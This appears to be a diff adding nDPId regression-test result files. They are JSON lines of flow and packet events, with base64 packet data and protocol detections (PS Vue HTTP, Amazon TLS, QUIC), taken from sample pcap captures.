+00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":170,"source":"ps_vue.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1568831055576,"flow_last_seen":0,"flow_tot_l4_data_len":51,"flow_min_l4_data_len":51,"flow_max_l4_data_len":51,"flow_avg_l4_data_len":51,"midstream":1,"l3_proto":"ip4","src_ip":"209.102.209.13","dst_ip":"192.168.1.132","src_port":443,"dst_port":65112,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00453{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":170,"source":"ps_vue.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568831055,"pkt_ts_usec":576330,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"QJkivOG5AKC8brI7CABFSABHBlJAAO8GIHbRZtENwKgBhAG7\/li+HZhYblTGsFAQfqWgYQAAFQMDABr4Hh7jQY7SKbwko9LFlX\/KNQ3S+SkGYTwZEw=="} +00408{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":171,"source":"ps_vue.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568831055,"pkt_ts_usec":576487,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"QJkivOG5AKC8brI7CABFSAAowh4AAO8GpMjRZtENwKgBhAG7\/li+HZh3blTGsFARfqVA3wAA"} +00540{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":257,"source":"ps_vue.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":255,"flow_first_seen":1568831054386,"flow_last_seen":1568831056144,"flow_tot_l4_data_len":318190,"flow_min_l4_data_len":22,"flow_max_l4_data_len":1338,"flow_avg_l4_data_len":1247,"midstream":1,"l3_proto":"ip4","src_ip":"8.252.2.139","dst_ip":"192.168.1.132","src_port":80,"dst_port":59198,"l4_proto":"tcp","ndpi": {"proto":"HTTP.PS_VUE","breed":"Acceptable","category":"Video"},"http": {}} +00541{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":257,"source":"ps_vue.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":255,"flow_first_seen":1568831054386,"flow_last_seen":1568831056144,"flow_tot_l4_data_len":318190,"flow_min_l4_data_len":22,"flow_max_l4_data_len":1338,"flow_avg_l4_data_len":1247,"midstream":1,"l3_proto":"ip4","src_ip":"8.252.2.139","dst_ip":"192.168.1.132","src_port":80,"dst_port":59198,"l4_proto":"tcp","ndpi": {"proto":"HTTP.PS_VUE","breed":"Acceptable","category":"Video"},"http": {}} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":432,"source":"ps_vue.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1568831058486,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"13.33.255.96","dst_ip":"192.168.1.132","src_port":443,"dst_port":55076,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00407{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":432,"source":"ps_vue.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568831058,"pkt_ts_usec":486751,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"QJkivOG5AKC8brI7CABFSAAownEAAO4GO2gNIf9gwKgBhAG71yS9fOmKSelcQFAQgjI44wAA"} +01143{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":433,"source":"ps_vue.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568831058,"pkt_ts_usec":517621,"pkt_caplen":593,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":593,"pkt_l4_len":559,"pkt":"QJkivOG5AKC8brI7CABFSAJDMqlAAO4GiRUNIf9gwKgBhAG71yS9fOmKSelcQFAYgjJcLAAAFwMDAhYGD4WalIgakHtn\/fJz48T14ncNZ7uSeqw6LgIobuwV5qyoAlzB0Xxl15X65lAPuY2vG\/aw6HXS1Wg0Vb4zdM90xSByqDLDjzGO4MzMfltcjjaGY8iweN5C3LkGLTSU+B6EJv9u1cfYzcLxWCcSUS9Nc7f0W9VEO4rPXP7O+PPru8ETON305TCkhb+6tM6mVd7oWXRNYC2NPhCbFxPcXWpOCn4IyzzfKjVZXIXefkR+XtEnQOplMTeOnFi0QchuJ0si68kEbiQ5z80Vak1dkhJ9+m9n\/i5qI890vKW4cFqAnxOPqXddt9Yx\/bfMl6PYL9m82kzd+iSXQsS8igpw6j+CxghfbNThB42FJ+LNwNblvFh6z9K5rlGsbgfM2wrPBvh17aOviSW4fW\/44tKcwEv8Aupxwy5TZNOiCxYSYCxgkpQ6BwKFtA01I8PGgRsk\/0L2IrvFZ7CfrsuIi\/RD9hyYgVz6uAD5cNemO3OP\/J4FDEDUaN3eM\/bIOJq+\/zD4XosIVk1xWR8n5KORcgDdSul\/mXO33x0nAm2oeowwONKfSArAZMqugxyn6PCjdFXJypJZuXU8mVOMvP+XhxYgqR1dGLO1yzoBeqms5Zb4kM6P7J9gslvEweE2hqt6Cn49JPAI8ecmr\/c1UbJMC1VTQAuxkCj6NFt8kf8H1NTofF2kZ8nJOW\/0tZgZNpLRGY+OlxaYy1ugOZY="} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":788,"source":"ps_vue.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1568831062289,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":1,"l3_proto":"ip4","src_ip":"34.217.165.102","dst_ip":"192.168.1.132","src_port":443,"dst_port":63577,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00452{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":788,"source":"ps_vue.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568831062,"pkt_ts_usec":289363,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"QJkivOG5AKC8brI7CABFCABImQxAACkGLjAi2aVmwKgBhAG7+FlRo0j5C6Rn21AYgjJ23AAAFwMDABtaN0V5Aa+aB6dvvTVw7le63zELX9T\/544IGeY="} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":923,"source":"ps_vue.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1568831063571,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"63.140.57.73","dst_ip":"192.168.1.132","src_port":443,"dst_port":61267,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00408{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":923,"source":"ps_vue.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568831063,"pkt_ts_usec":571713,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"QJkivOG5AKC8brI7CABFCAAowxcAAO8Gza4\/jDlJwKgBhAG771P3p6tQM3A6VVAQgjLw0wAA"} +00408{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":924,"source":"ps_vue.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568831063,"pkt_ts_usec":575450,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"QJkivOG5AKC8brI7CABFAAAowxgAAO8GpBbRZtENwKgBhAG7\/li+HZh4blTGsVAQfqRA3wAA"} +01337{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":925,"source":"ps_vue.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568831063,"pkt_ts_usec":589984,"pkt_caplen":737,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":737,"pkt_l4_len":703,"pkt":"QJkivOG5AKC8brI7CABFCALTjCZAAO8GwfQ\/jDlJwKgBhAG771P3p6tQM3A6VVAYgjLoygAAFwMDAqbQ+95Xvia3wK6UWebemp4er0ZBcKqFiFaKthh\/rILUUSgGBGrL7UK5qkSp5rQMmKvJaUCL4cR8ZQiIeraaShAhEEprxyoLFEvJHLmm3PwfrLapkebggQH8l247Vxv9peHoDj9PyoLH+BNxtShF5NSq57MzROwaWqSKp+ajaw\/CQ9IiEqNb0dRX+heFXoRK0wfbEh1LaX7hcxSG6QsJs+E5y9RHvcexwNVP0b5HrRx1sHIeIizvftM7Obo2RBoIjX3+wZfDWxqs2ZlF86l+EkJ5Swr6lHdl70KOs1G6JHlv6WH26axKBNdk03ZVAnEbJYPY\/LsfGdL6g+VXG7WQIgMv2ewF0PvE+vVDUFl0RAZ\/1tLcDW7ACT3ksX0LoeHNenBOhZdHqnf9UOziD+Q8zvRnZsqngkzD79qyeMi\/tzZSjltxbVSqkmhzEU9v1Y4BPqMGX0\/t0QAAV\/fprog45tuROab2+eBsC5W+ztNYarbon9rhkpVeoLrqdJhKQbZu\/c9lD89TohT8z3xUcsxzG7N3uUKJnCFMZEaDh46TyHN97xjtK5WpD4wQGnG0hBwwfSJCrIZ+A97Y\/cKfaMMm3rd9+qPHtU9mckB3Gm\/zIiD5yAAOlmp3TAmYbjhBVWzT18gBC+xJgp6sK3g9ErtoNAE4z9KCR6dyaFmm+vyKFQOhPPAuGz3qwp0JPlsMKUNUTpMyrP5r9vz+rqFUTI+UboZa3It1qCmsiunIqJZvwfwNrLaKXkxVBYy+vP2hXL8wM+L6Xe6uVxBuXOCt7cxNH1N3d\/wIcfpixl\/RuDXp39JNsKCBYByXoyBbsGJVG7\/LZ+6v1vHSKeV81o7IFGvt97IZrQYbdcUI5pk1Qvk6dAxViurUUxja5\/aS4mnkbaCn09PwETAx1nI="} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":926,"source":"ps_vue.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1568831063828,"flow_last_seen":0,"flow_tot_l4_data_len":51,"flow_min_l4_data_len":51,"flow_max_l4_data_len":51,"flow_avg_l4_data_len":51,"midstream":1,"l3_proto":"ip4","src_ip":"23.57.89.123","dst_ip":"192.168.1.132","src_port":443,"dst_port":55648,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00452{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":926,"source":"ps_vue.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568831063,"pkt_ts_usec":828823,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"QJkivOG5AKC8brI7CABFCABHowhAADEGc8AXOVl7wKgBhAG72WDabivvm96\/y1AYgjJsJQAAFQMDABqR742fBpyPZjtEfbqDeBewXB+uHjYt8SUS1Q=="} +00408{"flow_id":6,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":927,"source":"ps_vue.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568831063,"pkt_ts_usec":828946,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"QJkivOG5AKC8brI7CABFCAAowxsAADEGk8wXOVl7wKgBhAG72WDabiwOm96\/y1ARgjK9fQAA"} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":928,"source":"ps_vue.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1568831063948,"flow_last_seen":0,"flow_tot_l4_data_len":51,"flow_min_l4_data_len":51,"flow_max_l4_data_len":51,"flow_avg_l4_data_len":51,"midstream":1,"l3_proto":"ip4","src_ip":"23.57.89.123","dst_ip":"192.168.1.132","src_port":443,"dst_port":62694,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00452{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":928,"source":"ps_vue.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568831063,"pkt_ts_usec":948577,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"QJkivOG5AKC8brI7CABFCABHpH1AADEGcksXOVl7wKgBhAG79ObaKuoS0SNuMlAYgjIMvwAAFQMDABp\/k9+fmQYVGf3Hut7mHezJW979dzhuHOFbOg=="} +00407{"flow_id":7,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":929,"source":"ps_vue.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568831063,"pkt_ts_usec":948783,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"QJkivOG5AKC8brI7CABFCAAowx0AADEGk8oXOVl7wKgBhAG79ObaKuox0SNuMlARgjIAbAAA"} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":930,"source":"ps_vue.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1568831064128,"flow_last_seen":0,"flow_tot_l4_data_len":51,"flow_min_l4_data_len":51,"flow_max_l4_data_len":51,"flow_avg_l4_data_len":51,"midstream":1,"l3_proto":"ip4","src_ip":"23.57.89.123","dst_ip":"192.168.1.132","src_port":443,"dst_port":52217,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00453{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":930,"source":"ps_vue.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568831064,"pkt_ts_usec":128464,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"QJkivOG5AKC8brI7CABFCABH4exAADEGNNwXOVl7wKgBhAG7y\/nZ6b0aK\/hlyVAYgjIsbgAAFQMDABqvyMBTvXIi2chxG9Ya8G+SxcFk923Cg7zTOg=="} +00409{"flow_id":8,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":931,"source":"ps_vue.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568831064,"pkt_ts_usec":128577,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"QJkivOG5AKC8brI7CABFCAAowx8AADEGk8gXOVl7wKgBhAG7y\/nZ6b05K\/hlyVARgjIEJwAA"} +00509{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1011,"source":"ps_vue.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1568831062289,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":1,"l3_proto":"ip4","src_ip":"34.217.165.102","dst_ip":"192.168.1.132","src_port":443,"dst_port":63577,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"}} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1011,"source":"ps_vue.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1568831062289,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":1,"l3_proto":"ip4","src_ip":"34.217.165.102","dst_ip":"192.168.1.132","src_port":443,"dst_port":63577,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00408{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1369,"source":"ps_vue.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568831068,"pkt_ts_usec":497909,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"QJkivOG5AKC8brI7CABFSAAow6oAAO4GOi8NIf9gwKgBhAG71yS9fOulSelfaVAQgjIznwAA"} +01141{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1370,"source":"ps_vue.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568831068,"pkt_ts_usec":662597,"pkt_caplen":593,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":593,"pkt_l4_len":559,"pkt":"QJkivOG5AKC8brI7CABFSAJDMqtAAO4GiRMNIf9gwKgBhAG71yS9fOulSelfaVAYgjJp1AAAFwMDAhYGD4WalIgakbxjV3BNVNYcp3yOwJ52gynPGm8mjwAUtT7dYij2hh\/dSwSb7tUScv9p7RPVmT\/SgNSmyy04QnF4qJffmxksL\/sOF76QRXC7971BbNTRYsimK+PkLfgqlhqEv4b6m4ovXhAiRk+Zm80idUbTEZnIUUbuyHgjN293FAOaYO8b7wKQeCXC7ENqPVfxGkNpoupL47IyfwRFcGmWFY8cVMOkwq6KM3DEEEerxs+LVxCCzqaE7S3aNN8M2Cck\/\/QDmZ3sJhTXoaqiP3XD9fiNHSx9rK242Rx\/+wCdgsHUqIWndG4AB5DKgoSKOv8VktQE7lCS4ksD6btUmT2pl1H9XKngtKyHFCMmW1l3TGQ72\/Eu8k1mfsO7iWnevk3n6P4xl2ROn52nNFKQtN7zTnN\/aPCwKZHxkr1SUBj3zkM8L5Aq2R4hEzXX5YALMrcTUEuKTm+xwxt8GHNnQjfMR35eeBwTjPIpZmR\/2BS98CCxmueWRw2UOGOzoQ6OguTnkTVYR9JRpcw+5F86nBOPgcFzjjql5YmusFERtylZw0s193luLs8Sg6RAtVTXJKTQ\/b0wztU3ClKdYIWuVzKKspQhGwgNev2KkCLwex3rMg1bZywuk7as7hvo3ITY6I99wT02VvbfhOm6OcX6ptt99Jg+mx7P0+s92qhzZrY1Him5b57g1UYPWtq234exl29j9rZbRBg="} diff --git a/test/results/quic-23.pcap.out b/test/results/quic-23.pcap.out new file mode 100644 index 000000000..c5ffc06e8 --- /dev/null +++ b/test/results/quic-23.pcap.out @@ -0,0 +1,17 @@ +00533{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"quic-23.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1568282515655,"flow_last_seen":0,"flow_tot_l4_data_len":1288,"flow_min_l4_data_len":1288,"flow_max_l4_data_len":1288,"flow_avg_l4_data_len":1288,"midstream":0,"l3_proto":"ip6","src_ip":"2e4a:774d:26fd:7f9b:785b:2d1b:4f8a:63c7","dst_ip":"3bcc:9991:faba:bae1:cd2a:e2fd:b3be:c5ab","src_port":50339,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02160{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"quic-23.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568282515,"pkt_ts_usec":655367,"pkt_caplen":1342,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1342,"pkt_l4_len":1288,"pkt":"nJcmWLFfnLbQWTW8ht1gDdl5BQgRQC5Kd00m\/X+beFstG0+KY8c7zJmR+rq64c0q4v2zvsWrxKMBuwUI0EbI\/wAAFwhgax2p4Mt\/UAjcZWkdxzWqcwBE5rEFViXUV0In7d2dXZD4W8++zjZDJBAgmoI+svdNaYLoeL2jqHl80IO9pEfUmkgFWLrT4IlQo8t\/87yXQq3IRCWsbaCVh5W99qNLF16ofVb625RKhJQKN3iU3vpP3WaISyCxGoJXiHsP7sj27ny7LXNNKzH3JhZ3bhiQLS2umcd29X6XChqhAWZjn23A4EHWtq4oNdhkFu8LZI\/zfG+rUZSQr5lxakbHyPuebWPbqVuz09T5esBIjonthwzDSYvYZa0ySbIdmaeXdhlU+E4gLC4WHroq5LZx9pnr7yREt9Dp2HJiUOt1EMzTCveDJnfcPHqR1d6\/YEuvBxkwGcxK7MQsgXVVjQjLsVYM3zgE\/nenut5XK3K7bJeAGfZxUrn\/Y\/S6NaLxM1FgdUyaPkXMATL13fHOLn2TPbUyanoNHsWUaGSz60C+oUnJItBjv49AfcrV5AnxAjninyCVT7ilbuKRBYQ5SPLHeBsT\/NbnYJzK0I1Zj3I7weUUkkcrweRBiR069XTJtWYqzSUqWU5sALkglRvuf6xbvYulQ0jX8ozHEripA5ju8KQBmPJZP7WSUIMlyS8g26Pb2k443GZRz9hlPYNrTsHRc88FbzG8+ahhy1UIvmg27b6gKLWKeoPRPqT\/23G0Wo1ikM4FoXKXzvnDWe1X8Z9PVn+LOSHYR1LqJoMp2f2mWQv847crRAwAw1YWxPVKlFpXb0rR+0hsSK+RIdQgAqDBA2QX26xlMLPLaV5FnoRKfTJi7o9j6TamnIQyR\/b\/g\/IDH2Be62ORQ7K4p27Oyqju5N6C9b0vid0F4+gZ13RNe5vPbvcGGwDUSCHzH5HuKrGh25US\/X91xJ8gist97L0Lrq0S80URKpcxHqC0QxbI4sgi04MOC\/6\/5f2icaiX5IcU\/hdojFqggO95m2grFOU8yda1Z+a+0B+UTPAWzUgGxyOkCthMdR1xVGZfRvlXwGjfBMd6dc\/vwfyp1b8YonfSnSW3vRZZoOvGgqRgE1cEyUD4uXR+I9J+U7b3lAENyqEE6S4PVFwPk4xcaNCNEAFsAmLQRfMnqgm4EclQ2fu\/X4rXYn\/w4VPhxSJ7gZUA4NgNeVynLRKqHUa727Gwo4yXA2fLLCZot4qNfI9GV8gEGhiMrmnJDuuHONvYi8VFwSgiQP9jsRAqGAnvDEEaUirzATf+CkE90c9u9BJN208aRmeL0Hgd\/ZHM6TlLySnssgUghAaObIZXCdBIsYxzkTGX3jv35junPGfSl4SRLk2gvnSptlPR\/Rn6scXnHyxcxY1Tth69QcUpqe9cAH3STuQaFNZjD1dVf2R7djGBGP8XFpAEp4Da6SL0QShqq2TI46wOMWpyGEWgp5CuFAlZyh9lsxPPSVCNRF6ZIHFDEA176ay7PnXocWlpL62qyFOm8ITDpOqmFNLCDdEm1Gb4uY5DgmlqhAIdCuIUzNcLPBAucHSIQlvc6jwsUov+EyqsbCmhoguNjYqYWkTXfROVcd+bJTmI+cPOgPBBwa2oOWk+BLrQ6aBz1dQvhb5YuoZMwA09AEkY+2M7NcQxKjjOU+yU4Hx1Fn0nTrg3sFfxY6wAlusfFhQgzHz4cuAwlvBXae00jqiXWXUvQQ1Rtfra3X+TNbZCCp1e2k+Vki2RypB\/ckwHS7gD9wnM+\/\/rgzF\/7w=="} +00731{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"quic-23.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1568282515655,"flow_last_seen":0,"flow_tot_l4_data_len":1288,"flow_min_l4_data_len":1288,"flow_max_l4_data_len":1288,"flow_avg_l4_data_len":1288,"midstream":0,"l3_proto":"ip6","src_ip":"2e4a:774d:26fd:7f9b:785b:2d1b:4f8a:63c7","dst_ip":"3bcc:9991:faba:bae1:cd2a:e2fd:b3be:c5ab","src_port":50339,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"quic.aiortc.org","version":"TLSv1.3","alpn":"h3-22","ja3":"d9e7bdb15af8e499820ca74a68affd78","tls_supported_versions":"TLSv1.3"}} +02156{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"quic-23.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568282515,"pkt_ts_usec":692122,"pkt_caplen":1342,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1342,"pkt_l4_len":1288,"pkt":"nLbQWTW8nJcmWLFfht1jg4MNBQgRKzvMmZH6urrhzSri\/bO+xasuSndNJv1\/m3hbLRtPimPHAbvEowUIuNfA\/wAAFwjcZWkdxzWqcwhFc8YEuuNHtABAtpp6lo422zhpwEmkM9jMJwXgbUjN1owR7TPZ1JXY0x3to1D6g0dAafVV30k+fGVC\/0C4Lnu2sLDcx8bF+ojnk3GSUQTIdHu8ZX\/oVbrFn8IuIOJ3OaMKQNh30NDOQmduQ87svdAwpsnJ5RCWJgsXaKkJYeNxtTrcf\/UMkEEGwqmH7iXERiPPP6YaygHazOGgvsi3IgRqxtSyogodVJFIEF7\/I\/hK4c4fV\/Fp6TOnZq7yPU8RHUGd6f8AABcI3GVpHcc1qnMIRXPGBLrjR7REF+M5klzW6SVGEmXEZf3SgmWO3YJGZMJzHMMmsHpZMJuleNbNpwTfLHRv+w8U8jTxrick9JoK2C0BLjMMU4lyZBfsOtqy8CVjK71G6biWjirvwKveDUbbdnabD6oNKRkjU10KrpsRv07\/rr3\/DxiYNICA4+aqMz+EOwXWo58jzMZwzCPamN69kB0IxZj8SzHACrAvpI3mhJaTesCVi09n+Vjx8LN1j9+ciB82njpNGQqupy7Qg1DSJdzbPwEAh71uJyF2iB3iJGpO+cy2cML4KVvm81IPGXCiOmV58o3v5\/zmODjNmo2sfVOW9wf6PkvwpMzRrLhfpb7g\/8GFhwl4Yw4+ghn0eekbQWZnpZKkF4+ktWY8mTGVecRfIhXVpZaHrV6+jU8BF4DL68+dkgY\/AI15OZZ52IXevPDJv5nQvF4MBVYN4PDEtox+qpac1LTHNAeqQxSa69g15gLUO1TxuS1ywL2AY+BTIWioy9hE61HxGs\/ZqgzZK9mcRJcA1dvWBNaIUiSpdORjz8n0pKG8K\/4ou3pHJN8tLdmk66Qlvhq4T7hwQDIwVgb9q3keP6FrYLSeg\/J0qh+c2s9xPzmAsIVg9ZVDDHWX3Bcun6KxexZ4flHGnhxx5gihdcmy838IeEFcy7du2wwafPbat0Jj+jGrpEh+yIEM+DtfZqs9yQEdy\/MqTQFZpt+aZuMVHvsRxgp9ckGC0lTv66FWbXDl0UazKFBVhBALr2J0iQx9RaI2aenslg1ZNK4Bc+Cb91EVBWrZM10MM25SZ+fC29ATKbXKDxWyuH+nM3ACeSqc9x6e7lODjH2H79xEPA8nXIZozszF8WDBA9K6wgnma97DIVxV4gV9QTaSzRRZf7GOTqGIfycjVC4dW+EtiHjVND4FWrZia3IFSniSe\/c6Z8zy01Y4U7isxhUZE84FRn4gZ+V\/LlAqURAOifpcMdrbloG+azDOECnPpupOebIuXwWz7aOW1fuY\/H1I+R4NtFDR8J3Xw+payk7QhXdsFx5GWInJP3dTMaCf7cVsQwH9u0KYAcwhL8Cwh+DnwFPiuH4IialTTqxwU\/T+06FOuOrMPq+bKnPZ5FwJAgHNilWYjP7NfZyL47Oq9aVGecGeTMEVn1UOO1QiFCmqyGvATws+6y3jOAqvQGQaZwrrHaE+V+KOl6f9J9WMLa6SkuWVKt++KVL5CFRWylgx+1d9Uek8ct9jA8ZlmfNzZ9cA+5HqJ1DeuTlGJqOlBCtnXfinCTal7z1JN5uB10EcGFFvKfAbK7xwlVGsEn6XXUBj0DLCMr40cur5GW3A0wuiby+nlkq7AslBw7l3uUqOibKhCVQJrTyCrMLKjl7uaVf6toOqyI\/5H1Aamf9JQmaiBUuE66iZeoeNEFEyhhGDVA=="} 